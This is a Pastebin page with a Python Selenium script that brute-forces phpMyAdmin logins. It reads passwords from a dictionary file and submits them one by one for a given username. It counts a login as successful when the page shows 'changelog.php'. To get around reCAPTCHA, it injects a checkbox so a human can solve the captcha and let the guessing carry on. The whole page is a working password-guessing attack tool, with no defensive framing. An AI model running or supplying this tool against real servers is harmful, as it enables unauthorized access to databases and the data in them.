Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # Author: Anton Kuzmin
- # Email: anton.kuzmin.russia@gmail.com
- # Web Site: http://anton-kuzmin.ru
- from selenium import webdriver
- import selenium.common, sys, time, os
- TARGET_URL = sys.argv[1]
- LOGIN = sys.argv[2]
- DICT = sys.argv[3]
- if not os.path.exists(DICT):
- print " Dictionary {0} not exists".format(DICT)
- exit(0)
- # Run browser
- browser = webdriver.Firefox()
- # Open URL with PMA
- browser.get(TARGET_URL)
- for passw in open(DICT).readlines():
- # Fill the login field
- login_field = browser.find_element_by_id("input_username")
- login_field.clear()
- login_field.send_keys(LOGIN)
- # Fill the password field
- password_field = browser.find_element_by_id("input_password")
- password_field.clear()
- password_field.send_keys(passw.strip())
- while True:
- # We have reCaptcha in code?
- if browser.page_source.count("recaptcha/api.js"):
- try:
- # If human checked "Ready to go" - we cab work
- if browser.find_element_by_id("ready_to_go").get_attribute("checked") == 'true':
- break
- except selenium.common.exceptions.NoSuchElementException:
- # Adding checkbox "Ready to work" - human check this when captcha will done
- browser.execute_script("jQuery('div.container').append('<input type=\"checkbox\" id=\"ready_to_go\">Ready to go')")
- else:
- break
- time.sleep(1)
- # Click form button
- browser.find_element_by_id("input_go").click()
- if browser.page_source.count("changelog.php"):
- print("YES: {0} - {1}".format(LOGIN, passw))
- break
- # Close browser
- try:
- browser.close()
- browser.quit()
- browser.binary.process.kill()
- except Exception as e:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement